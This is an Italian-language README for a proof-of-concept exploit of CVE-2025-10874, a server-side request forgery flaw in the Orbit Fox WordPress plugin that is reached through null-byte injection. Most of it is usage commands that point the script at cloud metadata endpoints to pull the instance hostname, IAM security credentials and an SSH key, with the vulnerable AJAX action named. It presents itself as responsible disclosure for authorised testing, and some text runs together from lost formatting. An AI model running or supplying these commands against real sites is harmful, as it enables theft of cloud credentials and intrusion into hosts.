
Dimostra SSRF con bypass tramite iniezione di byte nullo per CVE-2025-10874

Proof of concept che sfrutta la vulnerabilità Server-Side Request Forgery (SSRF) nel plugin WordPress Orbit Fox con bypass tramite iniezione di byte nulli.
Articolo dettagliato: https://ryanmroth.com/articles/orbit-fox-ssrf
| Dettaglio | Note |
|---|
| ID CVE: | CVE-2025-10874 |
| Plugin Interessato: | Orbit Fox di ThemeIsle |
| Tipo di Vulnerabilità: | Server-Side Request Forgery (SSRF) (CWE-918) |
| Punteggio CVSS: | 5.5 (medio) |
| Privilegi Richiesti: | Autore+ (ruolo Autore WordPress o superiore) |
| Versione Corretta: | 3.0.2+ |
La funzionalità di importazione MyStock del plugin Orbit Fox contiene una vulnerabilità SSRF che consente a utenti autenticati con privilegi Autore+ di effettuare richieste HTTP arbitrarie dal server WordPress. La vulnerabilità risiede nell'azione AJAX handle-request-mystock-import, che non valida né sanifica correttamente i parametri URL.
Lo sfruttamento utilizza un bypass tramite iniezione di byte nulli (%00.txt) per aggirare la validazione dell'URL, consentendo l'accesso a servizi di metadati interni, API di provider cloud e altre risorse di rete raggiungibili dal server.
http://169.254.169.254/latest/meta-data/hostnamehttp://169.254.169.254/latest/meta-data/iam/security-credentials/http://169.254.169.254/latest/meta-data/public-keys/0/openssh-keyrequestsurllib3# Clona il repository
git clone <repository-url>
cd Orbit-Fox_SSRF_CVE-2025-10874
# Installa le dipendenze (usando uv)
uv sync
# Oppure usando pip
pip install requests urllib3
# Estrae l'hostname dell'istanza AWS (target predefinito)
python orbit_fox_poc.py http://target.com -u author -p password123
# Specifica un URL SSRF personalizzato
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/hostname
# Estrae le credenziali del ruolo IAM
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Estrae la chiave pubblica SSH
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
# Test senza bypass tramite byte nulli (fallirà sulle versioni corrette)
python orbit_fox_poc.py http://target.com -u author -p password123 --no-nullbyte
# Abilita l'output di debug per la risoluzione dei problemi
python orbit_fox_poc.py http://target.com -u author -p password123 --debug
argomenti posizionali:
target URL WordPress di destinazione (es., http://example.com)
argomenti richiesti:
-u, --username Nome utente WordPress (richiesto ruolo Autore+)
-p, --password Password WordPress
argomenti opzionali:
-h, --help Mostra il messaggio di aiuto ed esci
-s, --ssrf-url URL da richiedere tramite SSRF
(predefinito: http://169.254.169.254/latest/meta-data/hostname)
--no-nullbyte Disabilita il bypass tramite byte nulli (testa solo SSRF di base)
--debug Abilita l'output di debug per la risoluzione dei problemi
%00.txt all'URL di destinazione per aggirare la validazionehandle-request-mystock-importadmin-ajax.php con azione handle-request-mystock-importQuesta vulnerabilità è stata divulgata responsabilmente al fornitore ed è stata corretta nella versione 3.0.2 di Orbit Fox. Questo proof of concept è fornito per:
SOLO PER TEST DI SICUREZZA AUTORIZZATI
Questo strumento è fornito esclusivamente per scopi educativi e di test di sicurezza autorizzati. L'accesso non autorizzato a sistemi informatici è illegale. Gli utenti devono:
L'autore non si assume alcuna responsabilità per l'uso improprio di questo strumento.
Ultimo Aggiornamento: 2025-10-06